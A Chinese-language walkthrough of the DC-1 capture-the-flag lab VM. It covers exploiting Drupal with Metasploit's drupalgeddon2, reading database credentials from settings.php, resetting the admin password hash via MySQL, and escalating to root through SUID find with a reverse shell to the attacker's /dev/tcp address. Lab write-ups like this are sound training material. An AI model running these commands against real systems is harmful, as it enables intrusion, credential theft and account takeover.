前言

环境部署

  • 虚拟化:VMware Workstation
  • 网卡:桥接

攻击机

  • IP 192.168.1.7
  • Kali Linux 25.3

靶机

  • DC-1
  • IP 192.168.1.6

经过

环境准备

首先,拿到题目环境后导入虚拟机。导入完成后,开机。

后续操作如无新增项,如虚拟机的额外设置,则不再赘述此内容。

主机发现

尝试扫描一下同网段的机器

由于是dhcp的,我们怀疑是192.168.1.6或1.8

应该是1.6了

访问192.168.1.6

发现是Drupal

使用searchsploit去查找漏洞,发现相关漏洞还是比较多的

1
pip install droopescan --break

image-20260330201445097

发现版本为7.22-7.26

打开msfconsole

考虑到题目是2019年左右的,尝试使用2018年稍微新点且经过验证的exploit/unix/webapp/drupal_drupalgeddon2

image-20260330192905268

需要设置一个远程地址

成功拿下Shell

image-20260330193108894

拿到shell

image-20260330193902957

注意!这不是卡死,这大概率是因为服务端的shell不是交互式的

1
ls

image-20260330194254370

image-20260330194327445

查看flag1,提示说我需要看一下配置文件

image-20260330194447188

看下sites目录

image-20260330194530596

1
cat sites/default/settings.php

提示了我们暴力破解和字典攻击不是获取访问权限的唯一途径,询问我们有了这些证书后应该干什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

当然,因为这个非交互界面有点反人类,我们创建一个交互界面。

1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20260330195246028

进入数据库:

1
mysql -u dbuser -p

密码是:R0ck3t

查看数据库:

1
show databases;

正好发现了一个我们之前获得的数据库名,那么,我们切换数据库

1
use drupaldb

查看表:

1
show tables;

查看所有用户:

1
select * from users;

image-20260330195917654

image-20260330201009846

uid为1的用户有最高权限

我们这里的方法很多,最简单的就是替换密码了。

当然为了操作方便,我们可以先反弹个shell出来

1
nc -lvnp 8888

image-20260330201423061

看下脚本目录都有什么

密码哈希的脚本都给了,那还不去操作?

image-20260330201810683

1
$S$DkfAopsxDIJ1lo6Gh/yvmo39dttxXrEja/a.byDkL5kUpLw6GIgW

重新进入数据库,更新密码

image-20260330202215864

1
2
3
4
use drupaldb


update users set pass="$S$DkfAopsxDIJ1lo6Gh/yvmo39dttxXrEja/a.byDkL5kUpLw6GIgW" where name="admin";

image-20260330202442002

去尝试登录,admin,123456

特殊的PERMS将有助于找到密码,但你需要执行该命令来弄清楚如何获取shadow文件中的内容。

也就是我们需要提权

先从简单的suid提权来

1
find / -perm -u=s -type f 2>/dev/null

熟悉的Find SUID提权(先开nc的监听)

1
find / -exec bash -ip >& /dev/tcp/192.168.1.7/8888 0>&1 \;

image-20260330204316894

image-20260330204327220

image-20260330204359358

image-20260330204503025

image-20260330204533769

至此,4个flag找全。

番外

此外,这个环境下有gcc,也就是你可以…内核提权

image-20260330203006396

在本机下载,传到机器上,或者直接在机器下载(取决于网速)

image-20260330203756476

image-20260330203747663

还是比较多的